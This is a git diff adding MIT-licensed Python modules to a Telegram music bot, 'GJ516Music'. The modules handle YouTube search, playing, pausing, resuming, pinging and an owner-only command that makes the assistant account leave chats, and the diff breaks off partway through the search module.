+ duration = result[x]["duration"]
+ views = result[x]["viewCount"]["short"]
+ thumbnail = result[x]["thumbnails"][0]["url"].split("?")[0]
+ channellink = result[x]["channel"]["link"]
+ channel = result[x]["channel"]["name"]
+ link = result[x]["link"]
+ published = result[x]["publishedTime"]
+ description = f"{views} | {duration} Mins | {channel} | {published}"
+ buttons = InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(
+ text="𝙔𝙤𝙪𝙏𝙪𝙗𝙚",
+ url=link,
+ )
+ ],
+ ]
+ )
+ searched_text = f"""
+✨ **𝙏𝙞𝙩𝙡𝙚 :** [{title}]({link})
+
+⏳ **𝙙𝙪𝙧𝙖𝙩𝙞𝙤𝙣 :** `{duration}`𝙈𝙞𝙣𝙨
+👀 **𝙑𝙞𝙚𝙬𝙨 :** `{views}`
+⏰ **𝙋𝙪𝙗𝙡𝙞𝙨𝙝𝙚𝙙 𝙊𝙣 :** {published}
+🎥 **𝘾𝙝𝙖𝙣𝙣𝙚𝙡:** [{channel}]({channellink})
+
+💖 **𝗦𝗲𝗮𝗿𝗰𝗵𝗶𝗻𝗴 𝗣𝗼𝘄𝗲𝗿𝗱 𝗯𝘆 {BOT_NAME}**"""
+ answers.append(
+ InlineQueryResultPhoto(
+ photo_url=thumbnail,
+ title=title,
+ thumb_url=thumbnail,
+ description=description,
+ caption=searched_text,
+ reply_markup=buttons,
+ )
+ )
+ try:
+ return await app.answer_inline_query(query.id, results=answers)
+ except:
+ return
diff --git a/GJ516Music/Modules/leaveall.py b/GJ516Music/Modules/leaveall.py
new file mode 100644
index 0000000..6c5d10a
--- /dev/null
+++ b/GJ516Music/Modules/leaveall.py
@@ -0,0 +1,63 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import asyncio
+
+from pyrogram import filters
+from pyrogram.errors import FloodWait
+from pyrogram.types import Message
+
+from config import OWNER_ID
+from GJ516Music import ASS_MENTION, SUNAME, app, app2
+
+
+@app.on_message(filters.command(["leaveall", "assleaveall"]) & filters.user(OWNER_ID))
+async def ass_leaveall(_, message: Message):
+ lear = await message.reply_text(f"» {ASS_MENTION} 𝙎𝙩𝙖𝙧𝙩𝙞𝙣𝙜 𝙇𝙚𝙖𝙫𝙞𝙣𝙜 𝘾𝙝𝙖𝙩...")
+ left = 0
+ failed = 0
+ chats = []
+ async for dialog in app2.get_dialogs():
+ chats.append(int(dialog.chat.id))
+ schat = (await app.get_chat(SUNAME)).id
+ for i in chats:
+ if i in (-1001596737491, int(schat)):
+ continue
+ try:
+ await app2.leave_chat(int(i))
+ left += 1
+ except FloodWait as e:
+ flood_time = int(e.value)
+ if flood_time > 200:
+ continue
+ await asyncio.sleep(flood_time)
+ except Exception:
+ continue
+ failed += 1
+ try:
+ await lear.edit_text(
+ f"**» {ASS_MENTION} 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮 𝙡𝙚𝙛𝙩 𝘾𝙝𝙖𝙩 :**\n\n**𝙡𝙚𝙛𝙩 :** `{left}`\n**𝙁𝙖𝙞𝙡𝙚𝙙 :** `{failed}`"
+ )
+ except:
+ await message.reply_text(
+ f"**» {ASS_MENTION} 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮 𝙡𝙚𝙛𝙩 𝘾𝙝𝙖𝙩 :**\n\n**𝙡𝙚𝙛𝙩 :** `{left}`\n**𝙁𝙖𝙞𝙡𝙚𝙙 :** `{failed}`"
+ )
diff --git a/GJ516Music/Modules/pause.py b/GJ516Music/Modules/pause.py
new file mode 100644
index 0000000..8cd2eaf
--- /dev/null
+++ b/GJ516Music/Modules/pause.py
@@ -0,0 +1,48 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.types import Message
+
+from GJ516Music import app, pytgcalls
+from GJ516Music.Helpers import admin_check, close_key, is_streaming, stream_off
+
+
+@app.on_message(filters.command(["pause"]) & filters.group)
+@admin_check
+async def pause_str(_, message: Message):
+ try:
+ await message.delete()
+ except:
+ pass
+
+ if not await is_streaming(message.chat.id):
+ return await message.reply_text(
+ "𝘿𝙞𝙙 𝙔𝙤𝙪 𝙍𝙚𝙢𝙚𝙢𝙗𝙚𝙧 𝙏𝙝𝙖𝙩 𝙔𝙤𝙪 𝙍𝙚𝙨𝙪𝙢𝙚𝙙 𝙏𝙝𝙚 𝙎𝙩𝙧𝙚𝙖𝙢? "
+ )
+
+ await pytgcalls.pause_stream(message.chat.id)
+ await stream_off(message.chat.id)
+ return await message.reply_text(
+ text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙋𝙖𝙪𝙨𝙚𝙙\n│ \n└𝘽𝙮 : {message.from_user.mention} ",
+ reply_markup=close_key,
+ )
diff --git a/GJ516Music/Modules/ping.py b/GJ516Music/Modules/ping.py
new file mode 100644
index 0000000..fa35edf
--- /dev/null
+++ b/GJ516Music/Modules/ping.py
@@ -0,0 +1,66 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import time
+from datetime import datetime
+
+import psutil
+from pyrogram import filters
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
+
+import config
+from GJ516Music import BOT_NAME, StartTime, app
+from GJ516Music.Helpers import get_readable_time
+
+
+@app.on_message(filters.command("ping"))
+async def ping_fallen(_, message: Message):
+ hmm = await message.reply_photo(
+ photo=config.PING_IMG, caption=f"{BOT_NAME} 𝙄𝙨 𝙋𝙞𝙣𝙜𝙞𝙣𝙜...."
+ )
+ upt = int(time.time() - StartTime)
+ cpu = psutil.cpu_percent(interval=0.5)
+ mem = psutil.virtual_memory().percent
+ disk = psutil.disk_usage("/").percent
+ start = datetime.now()
+ resp = (datetime.now() - start).microseconds / 1000
+ uptime = get_readable_time((upt))
+
+ await hmm.edit_text(
+ f"""𝙋𝙤𝙣𝙜 : `{resp}𝙈𝙨`
+
+{BOT_NAME} 𝙎𝙮𝙨𝙩𝙚𝙢 𝙎𝙩𝙖𝙩𝙨 :
+
+✾ **𝙐𝙥𝙩𝙞𝙢𝙚 :** {uptime}
+✾ **𝙍𝙖𝙢 :** {mem}
+✾ **𝘾𝙥𝙪 :** {cpu}
+✾ **𝘿𝙞𝙨𝙠 :** {disk}
+
+||𝙈𝙖𝙙𝙚 𝘽𝙮 : [ــ٨ﮩﮩ𝗝♡𝗬💸](https://t.me/export_gabbar) || """,
+ reply_markup=InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton("❰𝙂𝙧𝙤𝙪𝙥❱", url=config.SUPPORT_CHAT)
+ ],
+ ]
+ ),
+ )
diff --git a/GJ516Music/Modules/play.py b/GJ516Music/Modules/play.py
new file mode 100644
index 0000000..ddc771c
--- /dev/null
+++ b/GJ516Music/Modules/play.py
@@ -0,0 +1,258 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import asyncio
+import os
+
+from pyrogram import filters
+from pyrogram.enums import ChatMemberStatus
+from pyrogram.errors import (
+ ChatAdminRequired,
+ UserAlreadyParticipant,
+ UserNotParticipant,
+)
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
+from pytgcalls import StreamType
+from pytgcalls.exceptions import NoActiveGroupCall, TelegramServerError, UnMuteNeeded
+from pytgcalls.types import AudioPiped, HighQualityAudio
+from youtube_search import YoutubeSearch
+
+from config import DURATION_LIMIT
+from GJ516Music import (
+ ASS_ID,
+ ASS_MENTION,
+ ASS_NAME,
+ ASS_USERNAME,
+ BOT_NAME,
+ BOT_USERNAME,
+ LOGGER,
+ app,
+ app2,
+ GJ516db,
+ pytgcalls,
+)
+from GJ516Music.Helpers.active import add_active_chat, is_active_chat, stream_on
+from GJ516Music.Helpers.downloaders import audio_dl
+from GJ516Music.Helpers.errors import DurationLimitError
+from GJ516Music.Helpers.gets import get_file_name, get_url
+from GJ516Music.Helpers.inline import buttons
+from GJ516Music.Helpers.queue import put
+from GJ516Music.Helpers.thumbnails import gen_qthumb, gen_thumb
+
+
+@app.on_message(
+ filters.command(["play", "vplay", "p"])
+ & filters.group
+ & ~filters.forwarded
+ & ~filters.via_bot
+)
+async def play(_, message: Message):
+ GJ516 = await message.reply_text("» 𝙋𝙧𝙤𝙘𝙚𝙨𝙨𝙞𝙣𝙜, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙒𝙖𝙞𝙩 ........")
+ try:
+ await message.delete()
+ except:
+ pass
+
+ try:
+ try:
+ get = await app.get_chat_member(message.chat.id, ASS_ID)
+ except ChatAdminRequired:
+ return await GJ516.edit_text(
+ f"» 𝙄 𝙙𝙤𝙣'𝙩 𝙃𝙖𝙫𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 𝙐𝙨𝙚𝙧𝙨 𝙑𝙞𝙖 𝙇𝙞𝙣𝙠 𝙁𝙤𝙧 𝙄𝙣𝙫𝙞𝙩𝙞𝙣𝙜 {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙏𝙤 {message.chat.title}."
+ )
+ if get.status == ChatMemberStatus.BANNED:
+ unban_butt = InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(
+ text=f"𝙐𝙣𝙗𝙖𝙣 {ASS_NAME}",
+ callback_data=f"unban_assistant {message.chat.id}|{ASS_ID}",
+ ),
+ ]
+ ]
+ )
+ return await GJ516.edit_text(
+ text=f"» {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙄𝙨 𝘽𝙖𝙣 𝙄𝙣 {message.chat.title}\n\n☍ 𝙄𝙙 : `{ASS_ID}`\n☍ 𝙉𝙖𝙢𝙚 : {ASS_MENTION}\n☍ 𝙐𝙨𝙚𝙧𝙣𝙖𝙢𝙚 : @{ASS_USERNAME}\n\nᴘʟᴇᴀsᴇ ᴜɴʙᴀɴ ᴛʜᴇ ᴀssɪsᴛᴀɴᴛ ᴀɴᴅ ᴘʟᴀʏ ᴀɢᴀɪɴ...",
+ reply_markup=unban_butt,
+ )
+ except UserNotParticipant:
+ if message.chat.username:
+ invitelink = message.chat.username
+ try:
+ await app2.resolve_peer(invitelink)
+ except Exception as ex:
+ LOGGER.error(ex)
+ else:
+ try:
+ invitelink = await app.export_chat_invite_link(message.chat.id)
+ except ChatAdminRequired:
+ return await GJ516.edit_text(
+ f"» 𝙄 𝙙𝙤𝙣'𝙩 𝙃𝙖𝙫𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 𝙐𝙨𝙚𝙧𝙨 𝙑𝙞𝙖 𝙇𝙞𝙣𝙠 𝙁𝙤𝙧 𝙄𝙣𝙫𝙞𝙩𝙞𝙣𝙜 {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙏𝙤 {message.chat.title}."
+ )
+ except Exception as ex:
+ return await GJ516.edit_text(
+ f"𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙏𝙤 {message.chat.title}.\n\n**𝙍𝙚𝙖𝙨𝙤𝙣 :** `{ex}`"
+ )
+ if invitelink.startswith("https://t.me/+"):
+ invitelink = invitelink.replace("https://t.me/+", "https://t.me/joinchat/")
+ anon = await GJ516.edit_text(
+ f"𝙋𝙡𝙚𝙖𝙨𝙚 𝙒𝙖𝙞𝙩....\n\n𝙄𝙣𝙫𝙞𝙩𝙞𝙣𝙜 {ASS_NAME} ᴛᴏ {message.chat.title}."
+ )
+ try:
+ await app2.join_chat(invitelink)
+ await asyncio.sleep(2)
+ await GJ516.edit_text(
+ f"{ASS_NAME} 𝙅𝙤𝙞𝙣𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮,\n\n𝙎𝙩𝙖𝙧𝙩𝙞𝙣𝙜 𝙎𝙩𝙧𝙚𝙖𝙢....."
+ )
+ except UserAlreadyParticipant:
+ pass
+ except Exception as ex:
+ return await GJ516.edit_text(
+ f"𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝙄𝙣𝙫𝙞𝙩𝙚 {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙏𝙤 {message.chat.title}.\n\n**𝙍𝙚𝙖𝙨𝙤𝙣 :** `{ex}`"
+ )
+ try:
+ await app2.resolve_peer(invitelink)
+ except:
+ pass
+
+ ruser = message.from_user.first_name
+ audio = (
+ (message.reply_to_message.audio or message.reply_to_message.voice)
+ if message.reply_to_message
+ else None
+ )
+ url = get_url(message)
+ if audio:
+ if round(audio.duration / 60) > DURATION_LIMIT:
+ raise DurationLimitError(
+ f"»𝙎𝙤𝙧𝙧𝙮, 𝙏𝙧𝙖𝙘𝙠 𝙇𝙤𝙣𝙜𝙚𝙧 𝙏𝙝𝙖𝙣 {DURATION_LIMIT} 𝙈𝙞𝙣 𝘼𝙧𝙚 𝙉𝙤𝙩 𝘼𝙡𝙡𝙤𝙬𝙚𝙙 𝙏𝙤 𝙥𝙡𝙖𝙮 𝙤𝙣 {BOT_NAME}."
+ )
+
+ file_name = get_file_name(audio)
+ title = file_name
+ duration = round(audio.duration / 60)
+ file_path = (
+ await message.reply_to_message.download(file_name)
+ if not os.path.isfile(os.path.join("downloads", file_name))
+ else f"downloads/{file_name}"
+ )
+
+ elif url:
+ try:
+ results = YoutubeSearch(url, max_results=1).to_dict()
+ title = results[0]["title"]
+ duration = results[0]["duration"]
+ videoid = results[0]["id"]
+
+ secmul, dur, dur_arr = 1, 0, duration.split(":")
+ for i in range(len(dur_arr) - 1, -1, -1):
+ dur += int(dur_arr[i]) * secmul
+ secmul *= 60
+
+ except Exception as e:
+ return await GJ516.edit_text(f"𝙎𝙤𝙢𝙚𝙩𝙝𝙞𝙣𝙜 𝙒𝙚𝙣𝙩 𝙒𝙧𝙤𝙣𝙜\n\n**𝙀𝙧𝙧𝙤𝙧:** `{e}`")
+
+ if (dur / 60) > DURATION_LIMIT:
+ return await GJ516.edit_text(
+ f"»𝙎𝙤𝙧𝙧𝙮, 𝙏𝙧𝙖𝙘𝙠 𝙇𝙤𝙣𝙜𝙚𝙧 𝙏𝙝𝙖𝙣 {DURATION_LIMIT} 𝙈𝙞𝙣 𝘼𝙧𝙚 𝙉𝙤𝙩 𝘼𝙡𝙡𝙤𝙬𝙚𝙙 𝙏𝙤 𝙥𝙡𝙖𝙮 𝙤𝙣 {BOT_NAME}."
+ )
+ file_path = audio_dl(url)
+ else:
+ if len(message.command) < 2:
+ return await GJ516.edit_text(" 𝙂𝙞𝙫𝙚 𝙈𝙚 𝙔𝙤𝙪𝙧 𝙌𝙪𝙚𝙧𝙮 𝙒𝙝𝙞𝙘𝙝 𝙔𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙋𝙡𝙖𝙮 ?")
+ await GJ516.edit_text("⚡")
+ query = message.text.split(None, 1)[1]
+ try:
+ results = YoutubeSearch(query, max_results=1).to_dict()
+ url = f"https://youtube.com{results[0]['url_suffix']}"
+ title = results[0]["title"]
+ videoid = results[0]["id"]
+ duration = results[0]["duration"]
+
+ secmul, dur, dur_arr = 1, 0, duration.split(":")
+ for i in range(len(dur_arr) - 1, -1, -1):
+ dur += int(dur_arr[i]) * secmul
+ secmul *= 60
+
+ except Exception as e:
+ LOGGER.error(str(e))
+ return await GJ516.edit("𝙁𝙖𝙞𝙡𝙚𝙙 𝙩𝙤 𝙋𝙧𝙤𝙘𝙚𝙨𝙨 𝙦𝙪𝙚𝙧𝙮, 𝙏𝙧𝙮 𝙋𝙡𝙖𝙮𝙞𝙣𝙜 𝙖𝙜𝙖𝙞𝙣......")
+
+ if (dur / 60) > DURATION_LIMIT:
+ return await GJ516.edit(
+ f"»𝙎𝙤𝙧𝙧𝙮, 𝙏𝙧𝙖𝙘𝙠 𝙇𝙤𝙣𝙜𝙚𝙧 𝙏𝙝𝙖𝙣 {DURATION_LIMIT} 𝙈𝙞𝙣 𝘼𝙧𝙚 𝙉𝙤𝙩 𝘼𝙡𝙡𝙤𝙬𝙚𝙙 𝙏𝙤 𝙥𝙡𝙖𝙮 𝙤𝙣 {BOT_NAME}."
+ )
+ file_path = audio_dl(url)
+
+ try:
+ videoid = videoid
+ except:
+ videoid = "fuckitstgaudio"
+ if await is_active_chat(message.chat.id):
+ await put(
+ message.chat.id,
+ title,
+ duration,
+ videoid,
+ file_path,
+ ruser,
+ message.from_user.id,
+ )
+ position = len(GJ516db.get(message.chat.id))
+ qimg = await gen_qthumb(videoid, message.from_user.id)
+ await message.reply_photo(
+ photo=qimg,
+ caption=f"**⏳ 𝘼𝙙𝙙𝙚𝙙 𝙩𝙤 𝙌𝙪𝙚𝙪𝙚 𝙖𝙩 {position}**\n\n💡 **𝙏𝙞𝙩𝙡𝙚 :** [{title[:27]}](https://t.me/{BOT_USERNAME}?start=info_{videoid})\n⏱ **𝘿𝙪𝙧𝙖𝙩𝙞𝙤𝙣 :** `{duration}` ᴍɪɴᴜᴛᴇs\n👤 **𝘼𝙙𝙙𝙚𝙙 𝘽𝙮 :** {ruser}",
+ reply_markup=buttons,
+ )
+ else:
+ stream = AudioPiped(file_path, audio_parameters=HighQualityAudio())
+ try:
+ await pytgcalls.join_group_call(
+ message.chat.id,
+ stream,
+ stream_type=StreamType().pulse_stream,
+ )
+
+ except NoActiveGroupCall:
+ return await GJ516.edit_text(
+ "**𝙉𝙤 𝘼𝙘𝙩𝙞𝙫𝙚 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩 𝙁𝙤𝙪𝙣𝙙..**\n\n𝙋𝙡𝙚𝙖𝙨𝙚 𝙈𝙖𝙠𝙚 𝙎𝙪𝙧𝙚 𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝙏𝙝𝙚 𝙑𝙤𝙞𝙘𝙚𝘾𝙝𝙖𝙩 .."
+ )
+ except TelegramServerError:
+ return await GJ516.edit_text(
+ "»𝙏𝙚𝙡𝙚𝙜𝙧𝙖𝙢 𝙞𝙨 𝙝𝙖𝙫𝙞𝙣𝙜 𝙎𝙤𝙢𝙚 𝙄𝙣𝙩𝙚𝙧𝙣𝙖𝙡 𝙋𝙧𝙤𝙗𝙡𝙚𝙢, 𝙋𝙡𝙚𝙖𝙨𝙚 𝙍𝙚𝙨𝙩𝙖𝙧𝙩 𝙏𝙝𝙚 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩 𝘼𝙣𝙙 𝙏𝙧𝙮 𝘼𝙜𝙖𝙞𝙣."
+ )
+ except UnMuteNeeded:
+ return await GJ516.edit_text(
+ f"» {BOT_NAME} 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩 𝙞𝙨 𝙈𝙪𝙩𝙚𝙙 𝙊𝙣 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩,\n\n𝙋𝙡𝙚𝙖𝙨𝙚 𝙐𝙣𝙢𝙪𝙩𝙚 {ASS_MENTION} 𝙊𝙣 𝙑𝙞𝙙𝙚𝙤𝘾𝙝𝙖𝙩 𝘼𝙣𝙙 𝙏𝙧𝙮 𝙋𝙡𝙖𝙮𝙞𝙣𝙜 𝘼𝙜𝙖𝙞𝙣."
+ )
+
+ imgt = await gen_thumb(videoid, message.from_user.id)
+ await stream_on(message.chat.id)
+ await add_active_chat(message.chat.id)
+ await message.reply_photo(
+ photo=imgt,
+ caption=f"**📡 𝙎𝙩𝙖𝙧𝙩𝙚𝙙 𝙎𝙩𝙧𝙚𝙖𝙢𝙞𝙣𝙜 💡**\n\n💡 **𝙏𝙞𝙩𝙡𝙚 :** [{title[:27]}](https://t.me/{BOT_USERNAME}?start=info_{videoid})\n👤 **𝙍𝙚𝙦𝙪𝙚𝙨𝙩𝙚𝙙 𝘽𝙮 :** {ruser}",
+ reply_markup=buttons,
+ )
+
+ return await GJ516.delete()
diff --git a/GJ516Music/Modules/resume.py b/GJ516Music/Modules/resume.py
new file mode 100644
index 0000000..e962c11
--- /dev/null
+++ b/GJ516Music/Modules/resume.py
@@ -0,0 +1,45 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.types import Message
+
+from GJ516Music import app, pytgcalls
+from GJ516Music.Helpers import admin_check, close_key, is_streaming, stream_on
+
+
+@app.on_message(filters.command(["resume"]) & filters.group)
+@admin_check
+async def res_str(_, message: Message):
+ try:
+ await message.delete()
+ except:
+ pass
+
+ if await is_streaming(message.chat.id):
+ return await message.reply_text("𝘿𝙞𝙙 𝙔𝙤𝙪 𝙍𝙚𝙢𝙚𝙢𝙗𝙚𝙧 𝙏𝙝𝙖𝙩 𝙮𝙤𝙪 𝙋𝙖𝙪𝙨𝙚𝙙 𝙏𝙝𝙚 𝙎𝙩𝙧𝙚𝙖𝙢 ?")
+ await stream_on(message.chat.id)
+ await pytgcalls.resume_stream(message.chat.id)
+ return await message.reply_text(
+ text=f"𝙎𝙩𝙧𝙚𝙖𝙢 𝙍𝙚𝙨𝙪𝙢𝙚𝙙\n│ \n└𝘽𝙮 : {message.from_user.mention} 🥀",
+ reply_markup=close_key,
+ )
diff --git a/GJ516Music/Modules/search.py b/GJ516Music/Modules/search.py
new file mode 100644
index 0000000..9076757
--- /dev/null
+++ b/GJ516Music/Modules/search.py
@@ -0,0 +1,67 @@
+# MIT License
+#
+# Copyright (c) 2023 MrProgrammer72
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from pyrogram import filters
+from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message
+from youtube_search import YoutubeSearch
+
+from GJ516Music import app
+
+
+@app.on_message(filters.command(["search"]))
+async def ytsearch(_, message: Message):
+ try:
+ await message.delete()
+ except:
+ pass
+ try:
+ if len(message.command) < 2:
+ return await message.reply_text("𝙂𝙞𝙫𝙚 𝙎𝙤𝙢𝙚 𝙏𝙚𝙭𝙩 𝙏𝙤 𝙎𝙚𝙖𝙧𝙘𝙝 !")
+ query = message.text.split(None, 1)[1]
+ m = await message.reply_text("💸")
+ results = YoutubeSearch(query, max_results=4).to_dict()
+ i = 0
+ text = ""
+ while i < 4:
+ text += f"✨ 𝙏𝙞𝙩𝙡𝙚 : {results[i]['title']}\n"
+ text += f"⏱ 𝘿𝙪𝙧𝙖𝙩𝙞𝙤𝙣 : `{results[i]['duration']}`\n"
+ text += f"👀 𝙑𝙞𝙚𝙬𝙨 : `{results[i]['views']}`\n"
+ text += f"📣 𝘾𝙝𝙖𝙣𝙣𝙚𝙡 : {results[i]['channel']}\n"
+ text += f"🔗 𝙇𝙞𝙣𝙠 : https://youtube.com{results[i]['url_suffix']}\n\n"
+ i += 1
+ key = InlineKeyboardMarkup(
+ [
+ [
+ InlineKeyboardButton(
+ text="❰𝗖𝗹𝗼𝘀𝗲❱ ",
+ callback_data=f"forceclose abc|{message.from_user.id}",
+ ),
+ ]
+ ]
+ )
+ await m.edit_text(
+ text=text,
